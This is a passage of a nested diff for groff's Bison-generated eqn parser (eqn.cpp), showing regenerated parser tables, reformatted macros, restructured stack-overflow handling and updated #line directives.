-- 152, 154, 156, 158, 163, 165, 167, 169, 174, 176,
-- 181, 183, 185, 190, 192, 194, 196, 198, 200, 202,
-- 204, 206, 208, 210, 212, 214, 216, 218, 220, 222,
-- 224, 226, 228, 230, 232, 234, 236, 238, 240, 242,
-- 244, 246, 248, 250, 252, 254, 259, 269, 271, 276,
-- 278, 283, 285, 290, 292, 297, 299, 304, 306, 308,
-- 310, 314, 316, 321, 323, 325
-+ 0, 125, 125, 127, 132, 134, 145, 147, 149, 154,
-+ 156, 158, 160, 162, 167, 169, 171, 173, 178, 180,
-+ 185, 187, 189, 194, 196, 198, 200, 202, 204, 206,
-+ 208, 210, 212, 214, 216, 218, 220, 222, 224, 226,
-+ 228, 230, 232, 234, 236, 238, 240, 242, 244, 246,
-+ 248, 250, 252, 254, 256, 258, 263, 273, 275, 280,
-+ 282, 287, 289, 294, 296, 301, 303, 308, 310, 312,
-+ 314, 318, 320, 325, 327, 329
- };
- #endif
-
-@@ -818,22 +825,22 @@ static const yytype_uint8 yyr2[] =
-
- #define YYRECOVERING() (!!yyerrstatus)
-
--#define YYBACKUP(Token, Value) \
--do \
-- if (yychar == YYEMPTY) \
-- { \
-- yychar = (Token); \
-- yylval = (Value); \
-- YYPOPSTACK (yylen); \
-- yystate = *yyssp; \
-- goto yybackup; \
-- } \
-- else \
-- { \
-- yyerror (YY_("syntax error: cannot back up")); \
-- YYERROR; \
-- } \
--while (0)
-+#define YYBACKUP(Token, Value) \
-+ do \
-+ if (yychar == YYEMPTY) \
-+ { \
-+ yychar = (Token); \
-+ yylval = (Value); \
-+ YYPOPSTACK (yylen); \
-+ yystate = *yyssp; \
-+ goto yybackup; \
-+ } \
-+ else \
-+ { \
-+ yyerror (YY_("syntax error: cannot back up")); \
-+ YYERROR; \
-+ } \
-+ while (0)
-
- /* Error token number */
- #define YYTERROR 1
-@@ -948,7 +955,7 @@ yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule)
- YYFPRINTF (stderr, " $%d = ", yyi + 1);
- yy_symbol_print (stderr,
- yystos[yyssp[yyi + 1 - yynrhs]],
-- &(yyvsp[(yyi + 1) - (yynrhs)])
-+ &yyvsp[(yyi + 1) - (yynrhs)]
- );
- YYFPRINTF (stderr, "\n");
- }
-@@ -1052,7 +1059,10 @@ yytnamerr (char *yyres, const char *yystr)
- case '\\':
- if (*++yyp != '\\')
- goto do_not_strip_quotes;
-- /* Fall through. */
-+ else
-+ goto append;
-+
-+ append:
- default:
- if (yyres)
- yyres[yyn] = *yyp;
-@@ -1148,10 +1158,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
- yyarg[yycount++] = yytname[yyx];
- {
- YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]);
-- if (! (yysize <= yysize1
-- && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
- }
- }
-@@ -1175,9 +1185,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
-
- {
- YYSIZE_T yysize1 = yysize + yystrlen (yyformat);
-- if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
-
- if (*yymsg_alloc < yysize)
-@@ -1303,23 +1314,33 @@ yyparse (void)
- yychar = YYEMPTY; /* Cause a token to be read. */
- goto yysetstate;
-
-+
- /*------------------------------------------------------------.
--| yynewstate -- Push a new state, which is found in yystate. |
-+| yynewstate -- push a new state, which is found in yystate. |
- `------------------------------------------------------------*/
-- yynewstate:
-+yynewstate:
- /* In all cases, when you get here, the value and location stacks
- have just been pushed. So pushing a state here evens the stacks. */
- yyssp++;
-
-- yysetstate:
-+
-+/*--------------------------------------------------------------------.
-+| yynewstate -- set current state (the top of the stack) to yystate. |
-+`--------------------------------------------------------------------*/
-+yysetstate:
-+ YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+ YY_ASSERT (0 <= yystate && yystate < YYNSTATES);
- *yyssp = (yytype_int16) yystate;
-
- if (yyss + yystacksize - 1 <= yyssp)
-+#if !defined yyoverflow && !defined YYSTACK_RELOCATE
-+ goto yyexhaustedlab;
-+#else
- {
- /* Get the current used size of the three stacks, in elements. */
- YYSIZE_T yysize = (YYSIZE_T) (yyssp - yyss + 1);
-
--#ifdef yyoverflow
-+# if defined yyoverflow
- {
- /* Give user a chance to reallocate the stack. Use copies of
- these so that the &'s don't force the real ones into
-@@ -1338,10 +1359,7 @@ yyparse (void)
- yyss = yyss1;
- yyvs = yyvs1;
- }
--#else /* no yyoverflow */
--# ifndef YYSTACK_RELOCATE
-- goto yyexhaustedlab;
--# else
-+# else /* defined YYSTACK_RELOCATE */
- /* Extend the stack our own way. */
- if (YYMAXDEPTH <= yystacksize)
- goto yyexhaustedlab;
-@@ -1357,12 +1375,11 @@ yyparse (void)
- goto yyexhaustedlab;
- YYSTACK_RELOCATE (yyss_alloc, yyss);
- YYSTACK_RELOCATE (yyvs_alloc, yyvs);
--# undef YYSTACK_RELOCATE
-+# undef YYSTACK_RELOCATE
- if (yyss1 != yyssa)
- YYSTACK_FREE (yyss1);
- }
- # endif
--#endif /* no yyoverflow */
-
- yyssp = yyss + yysize - 1;
- yyvsp = yyvs + yysize - 1;
-@@ -1373,19 +1390,18 @@ yyparse (void)
- if (yyss + yystacksize - 1 <= yyssp)
- YYABORT;
- }
--
-- YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+#endif /* !defined yyoverflow && !defined YYSTACK_RELOCATE */
-
- if (yystate == YYFINAL)
- YYACCEPT;
-
- goto yybackup;
-
-+
- /*-----------.
- | yybackup. |
- `-----------*/
- yybackup:
--
- /* Do appropriate processing given the current state. Read a
- lookahead token if we need one and don't already have one. */
-
-@@ -1443,7 +1459,6 @@ yybackup:
- YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
- *++yyvsp = yylval;
- YY_IGNORE_MAYBE_UNINITIALIZED_END
--
- goto yynewstate;
-
-
-@@ -1458,7 +1473,7 @@ yydefault:
-
-
- /*-----------------------------.
--| yyreduce -- Do a reduction. |
-+| yyreduce -- do a reduction. |
- `-----------------------------*/
- yyreduce:
- /* yyn is the number of a rule to reduce with. */
-@@ -1478,20 +1493,20 @@ yyreduce:
- YY_REDUCE_PRINT (yyn);
- switch (yyn)
- {
-- case 3:
--#line 124 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+ case 3:
-+#line 128 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->top_level(); non_empty_flag = 1; }
--#line 1485 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1500 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 4:
--#line 129 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 133 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1491 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1506 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 5:
--#line 131 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 135 "src/preproc/eqn/eqn.ypp"
- {
- list_box *lb = (yyvsp[-1].b)->to_list_box();
- if (!lb)
-@@ -1499,436 +1514,437 @@ yyreduce:
- lb->append((yyvsp[0].b));
- (yyval.b) = lb;
- }
--#line 1503 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1518 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 6:
--#line 142 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 146 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1509 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1524 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 7:
--#line 144 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 148 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_mark_box((yyvsp[0].b)); }
--#line 1515 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1530 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 8:
--#line 146 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 150 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_lineup_box((yyvsp[0].b)); }
--#line 1521 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1536 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 9:
--#line 151 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 155 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1527 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1542 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 10:
--#line 153 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 157 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1533 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1548 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 11:
--#line 155 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 159 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1539 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1554 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 12:
--#line 157 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 161 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1545 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1560 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 13:
--#line 159 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 163 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0), 0); }
--#line 1551 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1566 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 14:
--#line 164 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 168 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1557 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1572 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 15:
--#line 166 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 170 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_sqrt_box((yyvsp[0].b)); }
--#line 1563 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1578 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 16:
--#line 168 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 172 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1569 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1584 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 17:
--#line 170 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 174 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_small_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1575 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1590 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 18:
--#line 175 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 179 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1581 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1596 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 19:
--#line 177 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 181 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1587 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1602 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 20:
--#line 182 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 186 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1593 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1608 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 21:
--#line 184 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 188 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1599 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1614 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 22:
--#line 186 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 190 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1605 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1620 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 23:
--#line 191 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 195 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1611 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1626 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 24:
--#line 193 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 197 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1617 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1632 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 25:
--#line 195 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 199 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1623 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1638 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 26:
--#line 197 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 201 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1629 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1644 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 27:
--#line 199 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 203 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new half_space_box; }
--#line 1635 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1650 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 28:
--#line 201 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 205 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new space_box; }
--#line 1641 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1656 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 29:
--#line 203 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 207 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new tab_box; }
--#line 1647 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1662 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 30:
--#line 205 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 209 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].b); }
--#line 1653 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1668 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 31:
--#line 207 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 211 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1659 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1674 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 32:
--#line 209 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 213 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(LEFT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1665 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1680 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 33:
--#line 211 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 215 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(RIGHT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1671 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1686 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 34:
--#line 213 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 217 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1677 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1692 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 35:
--#line 215 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 219 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].mb); }
--#line 1683 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1698 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 36:
--#line 217 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 221 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-3].str), (yyvsp[-2].b), (yyvsp[0].str)); }
--#line 1689 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1704 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 37:
--#line 219 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 223 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-1].str), (yyvsp[0].b), 0); }
--#line 1695 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1710 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 38:
--#line 221 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 225 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_overline_box((yyvsp[-1].b)); }
--#line 1701 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1716 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 39:
--#line 223 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 227 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_underline_box((yyvsp[-1].b)); }
--#line 1707 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1722 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 40:
--#line 225 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 229 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_prime_box((yyvsp[-1].b)); }
--#line 1713 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1728 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 41:
--#line 227 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 231 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_accent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1719 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1734 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 42:
--#line 229 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 233 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_uaccent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1725 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1740 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 43:
--#line 231 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 235 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_grfont()), (yyvsp[0].b)); }
--#line 1731 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1746 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 44:
--#line 233 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 237 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gbfont()), (yyvsp[0].b)); }
--#line 1737 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1752 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 45:
--#line 235 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 239 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gfont()), (yyvsp[0].b)); }
--#line 1743 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1758 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 46:
--#line 237 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 241 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new fat_box((yyvsp[0].b)); }
--#line 1749 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1764 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 47:
--#line 239 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 243 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1755 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1770 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 48:
--#line 241 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 245 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new size_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1761 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1776 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 49:
--#line 243 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 247 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1767 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1782 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 50:
--#line 245 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 249 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1773 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1788 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 51:
--#line 247 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 251 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1779 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1794 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 52:
--#line 249 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 253 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1785 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1800 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 53:
--#line 251 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 255 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->set_spacing_type((yyvsp[-1].str)); (yyval.b) = (yyvsp[0].b); }
--#line 1791 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1806 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 54:
--#line 253 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 257 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vcenter_box((yyvsp[0].b)); }
--#line 1797 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1812 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 55:
--#line 255 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 259 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_special_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1803 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1818 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 56:
--#line 260 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 264 "src/preproc/eqn/eqn.ypp"
- {
- int n;
- if (sscanf((yyvsp[0].str), "%d", &n) == 1)
- (yyval.n) = n;
- a_delete (yyvsp[0].str);
- }
--#line 1814 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1829 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 57:
--#line 270 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 274 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = new pile_box((yyvsp[0].b)); }
--#line 1820 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1835 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 58:
--#line 272 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 276 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].pb)->append((yyvsp[0].b)); (yyval.pb) = (yyvsp[-2].pb); }
--#line 1826 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1841 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 59:
--#line 277 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 281 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = (yyvsp[-1].pb); }
--#line 1832 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1847 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 60:
--#line 279 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 283 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].pb)->set_space((yyvsp[-3].n)); (yyval.pb) = (yyvsp[-1].pb); }
--#line 1838 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1853 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 61:
--#line 284 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 288 "src/preproc/eqn/eqn.ypp"
- { (yyval.mb) = new matrix_box((yyvsp[0].col)); }
--#line 1844 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1859 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 62:
--#line 286 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 290 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].mb)->append((yyvsp[0].col)); (yyval.mb) = (yyvsp[-1].mb); }
--#line 1850 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1865 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 63:
--#line 291 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 295 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = new column((yyvsp[0].b)); }
--#line 1856 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1871 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 64:
--#line 293 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 297 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].col)->append((yyvsp[0].b)); (yyval.col) = (yyvsp[-2].col); }
--#line 1862 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1877 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 65:
--#line 298 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 302 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = (yyvsp[-1].col); }
--#line 1868 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1883 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 66:
--#line 300 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
